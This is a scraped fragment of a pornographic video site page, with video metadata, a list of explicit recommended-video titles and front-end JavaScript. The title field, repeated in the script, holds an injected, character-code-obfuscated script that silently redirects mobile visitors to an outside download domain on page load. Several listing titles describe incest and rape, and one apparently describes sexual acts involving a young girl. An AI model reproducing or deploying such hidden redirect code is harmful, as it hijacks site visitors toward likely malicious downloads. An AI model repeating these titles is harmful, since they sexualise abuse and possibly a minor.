</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>섹스보다 더 짜릿한, 가슴 큰 여성 마사지사와 함께하는 진짜 발 마사지 업소.</script></title>
섹스보다 더 짜릿한, 가슴 큰 여성 마사지사와 함께하는 진짜 발 마사지 업소.","site_id":0,"video_url":"https://2605.v155p.com/20260608/NSddJ1Ba/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvODVjZTZmZjcwOWU4NjkxYzJmOTY5Yjk2OGFhNWM2MmYuanBn.cache","duration":"41:26","actor":[],"lastmod":1783766805,"rating":"4.0","view_count":665,"description":"섹스보다 더 짜릿한 경험: 글래머러스한 여성 마사지사와 함께하는 진짜 발 마사지 업소.","tag":["섹스","자극하다","현실","족욕","발 마사지 샵","추파를 던지다","아름다운 가슴","여성 기술자","여성 기술자","기술자"],"site_url":"175057","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvODVjZTZmZjcwOWU4NjkxYzJmOTY5Yjk2OGFhNWM2MmYuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"比做爱更刺激真实足浴店勾搭美乳女技师","s_keywords":"比做爱更刺激真实足浴店勾搭美乳女技师","s_description":"섹스보다 더 짜릿한, 가슴 큰 여성 마사지사와 함께하는 진짜 발 마사지 업소.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzBmMjhjYzYwMzhhMGM2ODA5NjJhMjczZDNlZTQzZWYuanBn.cache","vod_id":18973102,"title":"내 여자친구는 깨끗하고 섹시한 메이드 복장에 검은색 망사 스타킹을 신고 남자친구와 격렬하게 섹스를 하고 있어. 남자친구는 그녀의 하얀 호랑이 구멍을 사정없이 박아대고 있지.","lastmod":"2025-12-14","duration":"02:01:37","url":"/play/18973102.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzcwY2FkZTBiMDVlYzJlNWYyYTUxZTY1YzA5Y2ZkZTMuanBn.cache","vod_id":18966268,"title":"아름다운 여성이 남자친구와 성관계를 갖는 장면으로, 딥 스로트 오럴 섹스, 손가락으로 외음부를 자극하는 행위, 다양한 질 삽입 기술, 혀로 핥는 행위 등이 포함됩니다.","lastmod":"2025-12-14","duration":"01:19:15","url":"/play/18966268.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWQwZWQyNDMwMzNjYmJkODEyYWUzYjQ4MmE4YmE4MTQuanBn.cache","vod_id":18954573,"title":"✿가장 강렬한 모자간 근친상간❤️✿ 망토를 두른 아들, 엄마를 사랑해✨ 샤워를 마친 아들은 포르노를 보고 있는 엄마를 잔인하게 강간한다. 둘은 외국인들이 섹스하는 영상을 본다. 아들의 페니스가 엄마의 달콤한 질을 뚫고 들어간다. 그는 엄마 안에 사정하고, 그 느낌은 너무나 황홀하다!","lastmod":"2025-12-14","duration":"00:26:47","url":"/play/18954573.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODg0MWIxMDM1Yjc3YjU4MDhhN2U5YTIyOGEwNzBmZmYuanBn.cache","vod_id":18936944,"title":"고화질 셀카 - 스릴을 추구하는 젊은 커플의 집 안 장면을 담은 영상으로, 아름다운 누나가 잠든 남동생을 이용해 이불 속에서 그의 성기를 빨아 깨운 후, 그에게 격렬하게 삽입당하고 질내 사정을 당하는 장면이 묘사됩니다. 음란한 중국어 대화가 포함되어 있습니다!","lastmod":"2025-12-14","duration":"00:32:24","url":"/play/18936944.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzFjMDcwMWYzNTM2YzQ4YjRmNTg3NzRhM2UyZmIwYzMuanBn.cache","vod_id":19014021,"title":"SSNI652CN 아름다운 가슴이 툭 튀어나온다, 여신의 가슴, 행운의 큰 가슴, SP 카케이 준.","lastmod":"2025-03-24","duration":"01:58:37","url":"/play/19014021.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODM2NDRlOWE2N2ExMjEzY2MzNmIyZDFjODg3MjBlMWMuanBn.cache","vod_id":19135896,"title":"최상급 미녀 린난은 아름다운 가슴과 아름다운 질을 지녔으며, 콘돔 없이 격렬하게 성관계를 맺는다 - 3.","lastmod":"2025-12-30","duration":"03:53:57","url":"/play/19135896.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmM5MDQ5OTVjODZmNGI2M2YzZGJiZjc2NDE4NjAzYzAuanBn.cache","vod_id":18946429,"title":"통통하고 분홍빛 머리에 아름다운 가슴을 가진 소녀가 남자친구와 섹스하기 전에 제모를 한다. 남자친구는 흥분해서 머리부터 발끝까지 애무해 준다. 매끈하고 부드러운 그녀의 피부는 매우 매혹적이다.","lastmod":"2025-12-14","duration":"00:57:40","url":"/play/18946429.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDBjYzE2ZWZhNTA5NzViNGNhY2JiMDIzMTczYmJmOTUuanBn.cache","vod_id":19138750,"title":"오빠는 여자친구와 헤어진 후 성관계를 갖지 못하게 되었고, 그날부터 나를 놀리기 시작했다. 밤마다 콘돔 없이 나와 성관계를 하려고 했다. (여동생 강간; 무명 배우; SUJI-281)","lastmod":"2026-01-16","duration":"02:07:23","url":"/play/19138750.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDE2Njc1ZGZiZmU1M2MyMTdlOGMxN2Y2N2M4YmFlNWQuanBn.cache","vod_id":19147866,"title":"바람둥이 전문가의 섹스 비디오가 유출되었는데, 그 비디오에는 글래머러스하고 섹시하며 음탕한 세 명의 여성 애인들의 모습이 담겨 있다.","lastmod":"2026-03-12","duration":"25:14","url":"/play/19147866.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvNmFlMDNlNGJjY2ZlYjJmMDhlZWRiZjA3MzVmYjY3ZjAuanBn.cache","vod_id":19066062,"title":"파티시에 가오 펑화가 채식주의자인 디저트 전문가를 만나 열정적인 사랑을 나누는데… 내가 동경하는 여자와 같은 방을 쓰게 된다. 우미 야가쿠카이 ABF_142","lastmod":"2025-12-14","duration":"02:22:42","url":"/play/19066062.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmY0NDcwYWRhNmJiMGVhOGNjNWRmM2UzYzc1YTBjNGMuanBn.cache","vod_id":19013625,"title":"HAWA203: 산후 마사지를 핑계로 새엄마들이 몰래 작은 살덩어리를 만들어낸다: \"정말 거기에 압력을 가할 거야?\" 끈적끈적한 자극을 받더라도 거부할 수 없어 질 안에서 오르가즘을 계속 느끼게 된다(0002)(근친상간).","lastmod":"2025-03-24","duration":"03:09:58","url":"/play/19013625.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDM2NTg3ZTg0NmY5YWEyYTRmMzc3MzU1MTRkOWRiMmYuanBn.cache","vod_id":19003071,"title":"[HD 중국어 자막] [선배님, 우리 몰래 사랑해요] 꼬마 악마의 유혹","lastmod":"2025-03-23","duration":"01:57:17","url":"/play/19003071.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWIwMTI4MDFiZWM4NDJhMmEzMDhjNjIxZjU0MmU0MDYuanBn.cache","vod_id":18950942,"title":"[중국어 자막] GDTM-196 (자연산 G컵! 아름다운 가슴) (온화하고 친절한 미녀) (겉보기엔 온화해 보이지만 사실은 섹스를 즐기는 마조히스트라 얼굴에 정액을 뒤집어썼다!) 미나미 미우라","lastmod":"2025-12-14","duration":"02:11:33","url":"/play/18950942.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmNiMDM2YjUzNDIxY2RiYzUxZDUxZWYwYzBhNDkwMjUuanBn.cache","vod_id":18986609,"title":"난 이런 여자애들이 너무 좋아. 마음대로 가지고 놀 수 있으니까. 자극이 너무 강렬해서 멈출 수가 없어! [내 2D 여자친구 고화질 리마스터 버전] - 탄탄한 몸매의 열정적인 명작, 빨아주고 싶어!","lastmod":"2025-12-14","duration":"01:50:35","url":"/play/18986609.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvMTM4NTkwMDQ1MjI5NTQ0MDU0MTY0NWUyZGI1N2VhNjAuanBn.cache","vod_id":19164992,"title":"고가의 여신 기술자와의 만남, 파일 드라이버, 격렬한 섹스, 사나운 얼굴","lastmod":"2026-07-11","duration":"25:08","url":"/play/19164992.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDJhMjEzMmQ2ZWQ2NDA3MDVkY2FlYjQ2MDNjNDQyNWUuanBn.cache","vod_id":19151594,"title":"고급 란제리로 몸매를 더욱 돋보이게 하는 환상적인 여성과 짜릿한 섹스를 원하시나요? 나체보다 더 짜릿한, 열정적이고 강렬한 35회 사정의 향연. PBD-512","lastmod":"2026-04-04","duration":"04:00:58","url":"/play/19151594.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTUvZWE4NTJhYWQ5NWQ4MzY3MDVmZGE5Y2U5ZWViZDg1YjQuanBn.cache","vod_id":19038455,"title":"비 오는 날, 섹시한 J○는 한 남자가 자신의 촉촉하고 투명하며 아름다운 가슴을 처음으로 바라보자 흥분했다.","lastmod":"2025-06-15","duration":"01:57:56","url":"/play/19038455.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODlkNzc5NjM0OGZhNTQ5MDEzY2I5ZjY2ZDdmM2M3Y2IuanBn.cache","vod_id":19005434,"title":"MIDV-388-C 우리 둘만, 언제나처럼 사랑스러워! ? 짜릿한 질 데이트: 그녀가 당신에게 사랑에 빠지게 만들면, 원초적인 질내 사정 섹스를 경험할 수 있어요.","lastmod":"2025-03-23","duration":"01:57:54","url":"/play/19005434.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjJkYzc1YzcxZjk0ODQ2NTgzMTM1ZDBiYmFhYmI2OTMuanBn.cache","vod_id":18963179,"title":"문신을 한 모델과 그녀의 남자친구가 성관계를 갖는 장면이 여러 각도에서 촬영되었다. 영상 말미에는 남자친구가 그녀의 성기를 애무하는 모습이 보였고, 그녀는 이를 매우 즐거워했다.","lastmod":"2025-03-22","duration":"00:23:23","url":"/play/18963179.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTUzNThmYzJlYzIzYzBlOTMwYzA1MmQwNTZmNTYzZmYuanBn.cache","vod_id":18953524,"title":"세 명의 여성이 생방송 내내 얼굴을 드러냈는데, 중년 여성 두 명이 어린 소녀를 이끌고 소품을 이용해 서로의 질을 삽입하고 어린 소녀에게 자신의 음부를 빨고 핥게 하는 라이브 쇼를 진행했다. 매우 자극적이고 흥분되는 장면이었다.","lastmod":"2025-03-22","duration":"00:59:08","url":"/play/18953524.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTQvYzBjMjI5NGEyZjFhN2I2YmQzMjA4NzQ1NDViYmQ2MmUuanBn.cache","vod_id":19038274,"title":"진짜 근친상간 영상 독점 공개! 오랫동안 짝사랑해 온 사촌 언니와 드디어 오늘 관계를 가졌고, 콘돔 없이 질내 사정을 했습니다.","lastmod":"2025-06-14","duration":"31:58","url":"/play/19038274.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTgyNTNhZDc3YzU1ZmI3OTQ1MWMyOTBhYTNlMjI1NGEuanBn.cache","vod_id":18999421,"title":"일주일 동안 사정하지 않고 참을 수 있다면, 나랑 섹스할 수 있게 해 줄게!","lastmod":"2025-03-23","duration":"02:06:07","url":"/play/18999421.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTUvMGVkY2FkMTNkODNhZWYyM2Q5M2NlMjE2NDQ1YzA3ZWQuanBn.cache","vod_id":19134224,"title":"[역대 가장 짜릿한 섹스] 유부녀 꼬시기!! 강인한 의지의 여자가 술에 취해 음탕한 여자로 변신해 질이 흠뻑 젖는다. 무명 여배우 JKSR-695","lastmod":"2025-12-19","duration":"04:00:19","url":"/play/19134224.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjI3M2ZiMTk4NmQxYWE4MDcyMzRlNTEzMzJjZDYxYTMuanBn.cache","vod_id":18948531,"title":"풍만한 가슴을 가진 유모가 모유 수유 과정을 생중계하며, 남성 팬들을 위해 크고 섹시한 가슴을 드러내고 유축하는 모습을 보여줍니다. 그녀는 또한 음란한 신음 소리를 내고, 외음부를 클로즈업으로 보여주며, 자위행위를 하거나 신음하며, 남성 팬들의 요구에 응하고 얼굴을 공개하기도 합니다.","lastmod":"2025-03-22","duration":"00:29:29","url":"/play/18948531.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>섹스보다 더 짜릿한, 가슴 큰 여성 마사지사와 함께하는 진짜 발 마사지 업소.</script></title>',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}